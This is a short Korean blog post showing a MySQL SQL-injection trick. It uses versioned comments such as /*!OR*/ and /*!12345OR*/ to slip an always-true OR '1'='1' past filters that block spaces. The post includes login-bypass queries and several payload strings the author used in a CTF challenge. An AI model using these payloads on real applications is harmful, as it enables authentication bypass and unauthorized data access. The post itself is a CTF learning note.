티스토리 뷰

Programming/SQL

[MySQL] Specific Code

do9dark 2015. 7. 3. 01:44

SQL Injection 공백을 우회할 수 있는 방법 중에 한 가지.


SELECT id,pw FROM user WHERE id='admin' AND pw='admin'  OR  '1'='1';

위와 같은 Query를 실행할 경우 붉은색으로 표시된 부분에 공백을 사용하지 못할 경우


SELECT id,pw FROM user WHERE id='admin' AND pw='admin'/*!OR*/'1'='1';

SELECT id,pw FROM user WHERE id='admin' AND pw='admin'/*!12345OR*/'1'='1';

다음과 같이 사용할 수 있다.




CTF에서 사용한 예제

(문제 의도와는 다르게 풀어서 주최측에서 이메일로 연락이 오기도 했지만...)


=1'/*!12345OR*/'1'='1


=1'/*!OR*/'1


=1'/*!50546OR*/'1

(50546보다 숫자가 클 경우 실패)


=1'/*!^*/'1


=1'/*!50546^*/'1


댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
링크
공지사항
Total
Today
Yesterday